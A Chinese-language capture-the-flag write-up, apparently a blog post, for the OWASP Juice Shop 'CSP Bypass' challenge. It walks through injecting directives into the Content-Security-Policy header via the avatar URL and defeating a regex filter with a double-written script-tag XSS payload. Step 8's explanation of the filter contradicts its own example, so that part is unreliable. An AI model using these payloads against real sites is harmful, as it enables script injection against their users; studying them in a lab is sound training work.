【juice-shop】★★★★ CSP Bypass:绕过内容安全策略执行 XSS 攻击

通过分析 Content-Security-Policy 头部,利用图像 URL 注入修改 CSP 策略,结合正则表达式过滤漏洞进行双写 bypass,最终在传统页面上执行 XSS 攻击。

【juice-shop】★★★★ CSP Bypass:绕过内容安全策略执行 XSS 攻击

0x01 任务简报

🎯 挑战目标
在应用的传统页面上绕过内容安全策略 CSP 并使用代码 <script>alert(`xss`)</script> 执行一个 XSS 攻击。
💡 官方提示 (Hints)
1. 还有比带有原生 RegEx 过滤器的旧版页面"更好"的了么?同样在页面中还有 CSP 注入问题!
2. 在应用程序中找到一个界面,它看起来与其他界面相比略显古怪且过时。
3. 在尝试任何跨站脚本攻击之前,你应该先了解该页面是如何设置其内容安全策略的。
4. 对于后续的跨站脚本攻击,请充分利用基于正则表达式的自建数据净化机制中的漏洞!

0x02 前置知识

Content-Security-Policy (CSP) 简介

CSP 是一种安全机制,通过 HTTP 响应头部限制浏览器可以加载和执行的资源类型。

常见指令:

指令 说明
script-src 控制脚本执行权限
img-src 控制图像加载权限
'self' 仅允许同源资源
'unsafe-eval' 允许 eval() 等动态代码执行
'unsafe-inline' 允许内联脚本和样式

推荐阅读: MDN - Content-Security-Policy


0x03 实战:复现漏洞

步骤1:注册账户并进入个人资料页面

  1. 注册一个新账户(例如 1@1.com
  2. 登录后进入用户个人资料页面 /profile
  3. 使用 Burp Suite 抓包,观察响应头部 Content-Security-Policy 部分

步骤2:分析默认 CSP 策略

初始 CSP 头部:

1
Content-Security-Policy: img-src 'self' /assets/public/images/uploads/default.svg; script-src 'self' 'unsafe-eval'

策略分析:

指令 含义
img-src 'self' /assets/public/images/uploads/default.svg 仅允许同源和默认头像
script-src 'self' 'unsafe-eval' 仅允许同源脚本和 eval()

关键发现: 没有 'unsafe-inline',所以内联脚本会被阻止。

步骤3:测试修改用户名

修改用户名为 1,观察 CSP 是否变化。

结果: CSP 保持不变。

步骤4:上传头像并观察 CSP 变化

上传一个本地头像文件。

上传后 CSP:

1
Content-Security-Policy: img-src 'self' assets/public/images/uploads/23.jpg; script-src 'self' 'unsafe-eval'

观察: img-src 指令被修改为上传的图像路径。

步骤5:尝试使用外部链接

在头像 URL 字段中输入一个外部链接(例如 https://www.leobenchoi.com/img/1.jpg)。

修改后 CSP:

1
Content-Security-Policy: img-src 'self' https://www.leobenchoi.com/img/1.jpg; script-src 'self' 'unsafe-eval'

关键发现: 用户输入的 URL 被直接注入到 CSP 头部!这是一个 CSP 注入漏洞

步骤6:利用 CSP 注入修改脚本策略

构造一个恶意的图像 URL,在其中注入 CSP 指令:

1
https://a.png; script-src 'unsafe-inline' 'self' 'unsafe-eval' https://www.leobenchoi.com/img/avatar_hu_18f34c9a04f13424.jpg

注入后的 CSP:

1
Content-Security-Policy: img-src 'self' https://a.png; script-src 'unsafe-inline' 'self' 'unsafe-eval' https://www.leobenchoi.com/img/avatar_hu_18f34c9a04f13424.jpg; script-src 'self' 'unsafe-eval'

效果: 现在 script-src 包含了 'unsafe-inline',允许内联脚本执行。

步骤7:利用正则表达式过滤漏洞

尝试在用户名字段中输入 XSS 代码:

1
<script>alert(`xss`)</script>

结果: 被过滤了。

分析过滤机制:

对比输入和过滤结果:

1
2
输入:  <script>alert(`xss`)</script>
过滤:  lert(`xss`)</script>

发现: 过滤器使用正则表达式删除 <script> 标签,但没有处理双写的情况。

步骤8:双写 Bypass 绕过过滤

使用双写技巧绕过正则表达式过滤:

1
<<script>ascript>alert(`xss`)</script>

工作原理:

1
2
3
4
原始输入: <<script>ascript>alert(`xss`)</script>
第一次删除 <script>: <ascript>alert(`xss`)</script>
(不匹配,保留)
浏览器解析: <script>alert(`xss`)</script>

结果: 过滤器删除第一个 <script>,剩余部分形成新的 <script> 标签。

步骤9:完成 XSS 攻击

  1. 在头像 URL 字段输入 CSP 注入 payload
  2. 在用户名字段输入双写 XSS payload
  3. 提交表单

成功: 弹窗显示 xss,挑战完成!

成功截图

参考

使用 Hugo 构建
主题 StackJimmy 设计